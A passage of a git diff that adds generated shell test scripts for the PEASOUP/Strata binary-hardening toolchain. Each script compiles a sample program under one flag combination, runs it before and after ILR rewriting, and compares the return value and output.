+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..f018441dca75e60753c47a0ae79303f40df68e52
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC   -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC   -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..681fc9f5adf7707df748121c62721ac12ad2df28
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC     -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC     -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..2da21069345c5da0bc822a69a51c7d77f6a0e616
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.-fPIC.no_omit-fp.no_debug.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles   -fPIC     -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles   -fPIC     -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..cb0c0c770c35ae186d7f8222a6fd295141f317e8
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles     -fomit-frame-pointer -g -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles     -fomit-frame-pointer -g -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
new file mode 100644
index 0000000000000000000000000000000000000000..829b7ba052c4bc906ab4d8d1814e3fa1d37beded
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.-g.-m64.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles     -fomit-frame-pointer -g -m64"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_64
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles     -fomit-frame-pointer -g -m64"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
+
+assert_test_args $*
+assert_test_env $outfile STRATAFIER STRATA TOOLCHAIN STRATAFIER_OBJCOPY THTTPD_HOME THTTPD_INSTALL ZIPR_HOME ZIPR_INSTALL ZIPR_CALLBACKS ZIPR_SDK ZIPR_SCFI_PLUGIN PEASOUP_HOME SMPSA_HOME IDAROOTCUR IDASDKCUR SECURITY_TRANSFORMS_HOME
+
+# set up IDA environment variables
+export IDAROOT=$IDAROOTCUR
+export IDASDK=$IDASDKCUR
+
+# set up IRDB variables
+export PGHOST=127.0.0.1
+export PGUSER=$USER
+export PGPORT=5432
+export PGDATABASE=peasoup_$USER
+
+# path to source
+testloc=${PEASOUP_HOME}/tests/test_scripts
+
+# compile  
+# g++ -w $start_files $arch $opt $pic $fp $debug test.cpp foo.cpp
+# g++ -w $start_files $arch $opt $pic $fp $debug sample.cpp
+
+# figure this out!!!
+test_binary=orig.$$
+analyzed_binary=${test_binary}.strata
+
+g++ -w $COMPFLAGS ${testloc}/$BENCHNAME.cpp -o ${test_binary} || cleanup 2 "g++ failed"
+
+# sanity check the compile
+if [ ! -f ${test_binary} ]; then cleanup 3 "Failed to create ${test_binary}"; fi
+
+# make sure that the test_output directory exists
+mkdir -p test_output
+
+# run the un-analyzed binary and save for comparison
+(echo "goodpass" && cat) | ./${test_binary} > test_output/${test_binary}.out
+orig_retval=$?
+
+
+#  analyze
+$PEASOUP_HOME/tools/ps_analyze.sh ${test_binary}  ${analyzed_binary} --step ilr=on  --backend strata || cleanup 4 "ps_analyze failed"
+
+# run program 
+(echo "goodpass" && cat) | ./${analyzed_binary} > test_output/${analyzed_binary}.out
+retval=$?
+
+# check the retvals
+if [ ${orig_retval} -ne ${retval} ]; then
+	echo "original retval: ${orig_retval} does not match analyzed retval: ${analyzed_retval}" 
+fi
+
+# check the output values
+diff test_output/${test_binary}.out test_output/${analyzed_binary}.out
+if [ $? -ne 0 ]; then
+	echo "The original and analyzed outputs differ"
+fi
+
+# report
+report_test_result $outfile $retval "Return value of protected run was: $retval" || cleanup 5 "Reporting failed?"
+
+# cleanup
+cleanup 0 "Success!"
diff --git a/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
new file mode 100644
index 0000000000000000000000000000000000000000..e0536aa85d50ff846edc97de55a1b58d66a42524
--- /dev/null
+++ b/peasoup_examples/tests/test_scripts/sample_tests/sample.strata.-nostartfiles.no_optflag.no_pic.-fomit-frame-pointer.no_debug.-m32.sh
@@ -0,0 +1,135 @@
+#!/bin/sh -x
+
+# Assumptions:
+# 	$1 is the full pathname to output file
+
+
+# For PEASOUP Test Data Manager, Required XML fields are
+# name - name of the test
+# host - name of the host where the test was run
+# project - project name
+# date_time - date time in specific format date +%FT%R:%S
+# key_value pairs, any number
+#   may include result, user, host platform, build platform
+
+
+# Fixed attributes
+# ATTRIBUTE ModDep=diablo_toolchain
+# ATTRIBUTE ModDep=binutils-2.19
+# ATTRIBUTE ModDep=idaproCur
+# ATTRIBUTE ModDep=idaproCur_sdk
+# ATTRIBUTE ModDep=peasoup_examples
+# ATTRIBUTE ModDep=security_transforms
+# ATTRIBUTE ModDep=SMPStaticAnalyzer
+# ATTRIBUTE ModDep=strata
+# ATTRIBUTE ModDep=stratafier
+# ATTRIBUTE ModDep=zipr
+# ATTRIBUTE ModDep=zipr_sdk
+# ATTRIBUTE ModDep=zipr_callbacks
+# ATTRIBUTE ModDep=zipr_push64_reloc_plugin
+# ATTRIBUTE ModDep=zipr_scfi_plugin
+# ATTRIBUTE ModDep=zipr_install
+# ATTRIBUTE TestsWhat=lang_C
+# ATTRIBUTE TestsWhat=strata
+# ATTRIBUTE OS=linux
+# ATTRIBUTE Compiler=g++
+# ATTRIBUTE BenchmarkSuite=peasoup_micro_tests
+# ATTRIBUTE CompilerFlags="-nostartfiles     -fomit-frame-pointer   -m32"
+
+
+# Filled in by test generator
+# ATTRIBUTE Arch=x86_32
+# ATTRIBUTE TestName="ps_micro_test sample"
+# ATTRIBUTE BenchmarkName=sample
+
+BENCHNAME=sample
+COMPFLAGS="-nostartfiles     -fomit-frame-pointer   -m32"
+
+outfile=$1
+
+export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:$STRATA/lib/
+
+cleanup()
+{
+	exit_code=$1
+	shift
+	msg=$*
+
+	if [ $exit_code -ne 0 ]; then 
+		report_test_failure $outfile "Intermediate step failed, exit code is $exit_code, msg='$msg'"
+	fi
+
+	if [ -z $NO_CLEANUP ]; then
+		rm -rf peasoup_executable*
+
+		# remove intermediate results directory
+		rm -rf test_output
+		rm -rf ${test_binary} ${analyzed_binary}
+	fi
+
+	exit $exit_code
+}
+
+# suck in utils
+. ${TEST_HARNESS_HOME}/test_utils.sh || cleanup 1 "Cannot source utils file"
